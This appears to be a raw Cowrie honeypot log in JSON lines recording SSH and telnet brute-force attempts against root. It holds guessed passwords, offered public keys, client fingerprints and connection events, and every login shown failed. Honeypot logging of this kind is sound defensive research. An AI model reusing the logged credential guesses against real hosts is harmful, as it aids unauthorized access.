{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:41:bd:2d:fa:3f:fd:e0:3e:eb:29:32:c9:5b:06:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1q0h1p5dv5Uvksf/74XK94NwAc9zfG7WdWpYp0nPQwTs8RBqE35X+nW7by/9j8me7gHrXW8rv+2eIB3VbrdoOhVQfxI2mLsVo5jkRjMtAB8vzOTp80TfC1SINHI0CmeD6fjBeMgNsQtms/XRXbHhsUIB/GXw8l+lszIkgboYd6dkKvpjZAUDJaItaj+ISjOjT+81hz6ffzo7UUvjeFS24jfb/LzxjT/tv/OFjnd7V9sswriNDxKSD6l4yazDJfvCye+PCzmM8He4MWdYiKuhD40/vjdE5tkyy1kdqkDU06K1RWN0bnnVZNbbbxVLlDbIo7jMNVWpsbHK7q4YLmBB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.412991Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:d9:ce:e0:8e:20:bf:f3:ed:15:1a:43:0c:78:7b:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnoKDwLZ6f6ULfZAYX1/RF8V7NeMiiKmBC8hU315VQSJeX7xCbQdFcY8f4qJI/M4e4ikCgFr0m46VoBIDNhwezIMss1EgmpZHf4G7Ch2GFzFU76aDA8kN5FoNXKm7lvFLY49Qg5DiRMJm27ge3Iv11334/8I0T9paQKKlsqx0fiyOUUp5BHpdFqjkNZP6l084w+wY7+3BpSXsJewSwKQgtz1NmjGWY3C9xh18dI+oL4gvvJdOK8QuLNIIGOrUOy6W/i2QltnSQh4pWZ277excax3aHgV8yFH9bfz43iVQHk8+mfH/LAqi9mJ4HDntuFWr7P90BpjWaqurScblCp/Ojweuii5CdWVtTwz88uZKfZQGEn6wkSuzNQiepJfZ+Rqsbz0o+k2Ms/jXxsOZ8TSFXf6US0SvWp5Qd54Vq4m+e+v+wwqHDvTZdchL3jPKD72i+21dhJj26aNufXWie4RTrm9/ppTS2C6QSGoShD5/Va9tYO4IW8BvsQ6vkDR77SvwdMM4O5nyqu/hjfslfxn6RRsQipsP6W333rd4W16pO02lM7I+h9kYPOYIBWJj3HwTj/Oc3VGHiGPt2eqGPNVmdFlq3RWL8H231cXyDQGYIZZIUwluL2vfuURB1++MK0LvUR8ju91SCHSH76PsnSybtIt6t29zrqcFBKoEn794u5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:d9:ce:e0:8e:20:bf:f3:ed:15:1a:43:0c:78:7b:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.543009Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:d9:ce:e0:8e:20:bf:f3:ed:15:1a:43:0c:78:7b:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnoKDwLZ6f6ULfZAYX1/RF8V7NeMiiKmBC8hU315VQSJeX7xCbQdFcY8f4qJI/M4e4ikCgFr0m46VoBIDNhwezIMss1EgmpZHf4G7Ch2GFzFU76aDA8kN5FoNXKm7lvFLY49Qg5DiRMJm27ge3Iv11334/8I0T9paQKKlsqx0fiyOUUp5BHpdFqjkNZP6l084w+wY7+3BpSXsJewSwKQgtz1NmjGWY3C9xh18dI+oL4gvvJdOK8QuLNIIGOrUOy6W/i2QltnSQh4pWZ277excax3aHgV8yFH9bfz43iVQHk8+mfH/LAqi9mJ4HDntuFWr7P90BpjWaqurScblCp/Ojweuii5CdWVtTwz88uZKfZQGEn6wkSuzNQiepJfZ+Rqsbz0o+k2Ms/jXxsOZ8TSFXf6US0SvWp5Qd54Vq4m+e+v+wwqHDvTZdchL3jPKD72i+21dhJj26aNufXWie4RTrm9/ppTS2C6QSGoShD5/Va9tYO4IW8BvsQ6vkDR77SvwdMM4O5nyqu/hjfslfxn6RRsQipsP6W333rd4W16pO02lM7I+h9kYPOYIBWJj3HwTj/Oc3VGHiGPt2eqGPNVmdFlq3RWL8H231cXyDQGYIZZIUwluL2vfuURB1++MK0LvUR8ju91SCHSH76PsnSybtIt6t29zrqcFBKoEn794u5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.547938Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:16:55:a4:69:fc:3d:e6:d8:c0:26:f0:cc:df:45:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZaSOd3g2jJMNA1By4OUwgVrq8SbrMmVULoSPu+iv8s/B3i7llq5wDFcoBdcHKoWtUvunhlGN0yTNjqv8zW3Gm5F9GIkvGmoKbQhWgdFXdZ4nZFb2xHjF2m+WID1aaYHiRvPZ+I/53l3HxCMaGZBijYHYz63YFG3N+6iTw68anIk2ys3Tb6n/LRFIsuJh0mTFxLNCqel0O/Pmy6t5C8p8pOAB7+onQCf6RYOgYQeLK/JKZK9cgV9drWSd5KdMuSWvxUyoJ3pnGPJSeFu3Aj73ZRtxAgMQkIMf9QXxbmsEt90qiGxfytmibQD60wLUgx+8FEhRwLclV3a7V5APguX8P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:16:55:a4:69:fc:3d:e6:d8:c0:26:f0:cc:df:45:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.676001Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:16:55:a4:69:fc:3d:e6:d8:c0:26:f0:cc:df:45:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZaSOd3g2jJMNA1By4OUwgVrq8SbrMmVULoSPu+iv8s/B3i7llq5wDFcoBdcHKoWtUvunhlGN0yTNjqv8zW3Gm5F9GIkvGmoKbQhWgdFXdZ4nZFb2xHjF2m+WID1aaYHiRvPZ+I/53l3HxCMaGZBijYHYz63YFG3N+6iTw68anIk2ys3Tb6n/LRFIsuJh0mTFxLNCqel0O/Pmy6t5C8p8pOAB7+onQCf6RYOgYQeLK/JKZK9cgV9drWSd5KdMuSWvxUyoJ3pnGPJSeFu3Aj73ZRtxAgMQkIMf9QXxbmsEt90qiGxfytmibQD60wLUgx+8FEhRwLclV3a7V5APguX8P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.681086Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:02.807077Z","src_ip":"185.191.165.57","session":"669e78ecc86e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57956,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb038a5f87e","protocol":"telnet","message":"New connection: 69.4.83.194:57956 (159.203.135.109:23) [session: 4eb038a5f87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:05.468079Z"}
{"eventid":"cowrie.session.closed","duration":32.46243166923523,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:09.378592Z","src_ip":"69.4.83.194","session":"4238babd6f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846672773361206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:16.390994Z","src_ip":"69.4.83.194","session":"4363da6fdb60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35902,"dst_ip":"159.203.135.109","dst_port":23,"session":"c230dae16949","protocol":"telnet","message":"New connection: 69.4.83.194:35902 (159.203.135.109:23) [session: c230dae16949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:25.333534Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":13217,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d275c222080","protocol":"ssh","message":"New connection: 190.6.32.107:13217 (159.203.135.109:22) [session: 2d275c222080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:33.725387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:33.729972Z","src_ip":"190.6.32.107","session":"2d275c222080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:33.785820Z","src_ip":"190.6.32.107","session":"2d275c222080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000","message":"login attempt [root/000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:34.041930Z","src_ip":"190.6.32.107","session":"2d275c222080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:35.107042Z","src_ip":"190.6.32.107","session":"2d275c222080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41236,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e11b44252fa","protocol":"telnet","message":"New connection: 69.4.83.194:41236 (159.203.135.109:23) [session: 3e11b44252fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:37.138443Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":46488,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f7cc76a490","protocol":"ssh","message":"New connection: 43.133.65.220:46488 (159.203.135.109:22) [session: 88f7cc76a490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:37.308950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:37.314115Z","src_ip":"43.133.65.220","session":"88f7cc76a490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:37.521294Z","src_ip":"43.133.65.220","session":"88f7cc76a490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv1234.","message":"login attempt [root/Zxcv1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:38.380906Z","src_ip":"43.133.65.220","session":"88f7cc76a490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:39.591397Z","src_ip":"43.133.65.220","session":"88f7cc76a490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.691248416900635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:40.159178Z","src_ip":"69.4.83.194","session":"4eb038a5f87e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.868959188461304,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:34:42.290554Z","src_ip":"79.139.59.21","session":"2f69c87cefee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50010,"dst_ip":"159.203.135.109","dst_port":23,"session":"a99cec9ce278","protocol":"telnet","message":"New connection: 69.4.83.194:50010 (159.203.135.109:23) [session: a99cec9ce278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:02.125451Z"}
{"eventid":"cowrie.session.closed","duration":37.284510374069214,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:02.617900Z","src_ip":"69.4.83.194","session":"c230dae16949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3331413269043,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:11.471500Z","src_ip":"69.4.83.194","session":"3e11b44252fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":52850,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed1a69564821","protocol":"ssh","message":"New connection: 106.243.250.115:52850 (159.203.135.109:22) [session: ed1a69564821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:27.616932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:27.621716Z","src_ip":"106.243.250.115","session":"ed1a69564821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:27.842077Z","src_ip":"106.243.250.115","session":"ed1a69564821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sa","message":"login attempt [root/sa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:28.708849Z","src_ip":"106.243.250.115","session":"ed1a69564821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:29.923673Z","src_ip":"106.243.250.115","session":"ed1a69564821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.32.156.208","src_port":58146,"dst_ip":"10.17.0.5","dst_port":22,"session":"78dbf1457ef6","protocol":"ssh","message":"New connection: 178.32.156.208:58146 (10.17.0.5:22) [session: 78dbf1457ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:33.718738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:33.723644Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:33.800960Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:9e:72:31:11:d7:6f:8f:d8:66:a3:b8:38:e1:a2:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVn/zH9Yk67mFRXJC/RoQZtzAh9uP99NWhTud8B7Yppz7raMlKhGzk7u/RNe/1uxfaWMyiUcml/TGLNhvcCVoL3a0AzrFxN9BqzH7cYY/ovLRpQIUqtNRteIZj0OOUWZpg/J97k8qEUt3zAGUULXB9112u5zDg3LVhDn40WoFOOKKpgLqixv42ofupQCyzGoVUZu/N0Wuo5ayWqOu3WqWv7OMdVnS6mGdajUd++tg+vaeuX7KICczKIka7B3lynHfQ/GET5K+tJ/lqFnIhVXzs0H3xh95PtZhvqLinFeRAJXhVtleS4HW9xt4nbja4JCKP4vaG2z+/IAKIObf/ajfCBFQ3F/odi7YkkUs1p3Q9eCK9XW9CoO1WjnKzceLxk/SbSt0aXKIq/Yn8K8o9BZ/QEl0iOVEVJ9oi8ySwRN4lPQEqTxslaXgF33dN2SShsi8WuL2hAqVbJgq7S7YstI3tzqU1koYg8S49tLBcaKk4TzBheWzPijzDxeOmlzNV2+k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:9e:72:31:11:d7:6f:8f:d8:66:a3:b8:38:e1:a2:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.167107Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:9e:72:31:11:d7:6f:8f:d8:66:a3:b8:38:e1:a2:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVn/zH9Yk67mFRXJC/RoQZtzAh9uP99NWhTud8B7Yppz7raMlKhGzk7u/RNe/1uxfaWMyiUcml/TGLNhvcCVoL3a0AzrFxN9BqzH7cYY/ovLRpQIUqtNRteIZj0OOUWZpg/J97k8qEUt3zAGUULXB9112u5zDg3LVhDn40WoFOOKKpgLqixv42ofupQCyzGoVUZu/N0Wuo5ayWqOu3WqWv7OMdVnS6mGdajUd++tg+vaeuX7KICczKIka7B3lynHfQ/GET5K+tJ/lqFnIhVXzs0H3xh95PtZhvqLinFeRAJXhVtleS4HW9xt4nbja4JCKP4vaG2z+/IAKIObf/ajfCBFQ3F/odi7YkkUs1p3Q9eCK9XW9CoO1WjnKzceLxk/SbSt0aXKIq/Yn8K8o9BZ/QEl0iOVEVJ9oi8ySwRN4lPQEqTxslaXgF33dN2SShsi8WuL2hAqVbJgq7S7YstI3tzqU1koYg8S49tLBcaKk4TzBheWzPijzDxeOmlzNV2+k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.171734Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qWbR64zpkMbwNnePBNw0V6LDSstkD1BAkk6NWPECHI0avxPsLrkEmIdRthxCqFvIPhqFyss92eARzism4JbdVnnL9RGVU87J87lRcLHX210J9zxkiQ0lkrCDHUoOrK6TXZJarKzCclBLCgEgL4J1M4fS0/QuT6fSS8jMBFhdFJA9L4gTtBZK+yhXZ3Q5J6zJAR+sml29SMh3H0JRMxK/PEHfRFbD/I+LIvlDNvYQ+DAZAn2CiHRDKevCwTW4Bvf9dBjN7IFCDnyKo83wbDmuRl+EpGNcRZDxEEZB+l45VFdz5pFvRPeXX4fZf7q+JqtGGMwaiip+ETN5Dv3Scmuz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.251158Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
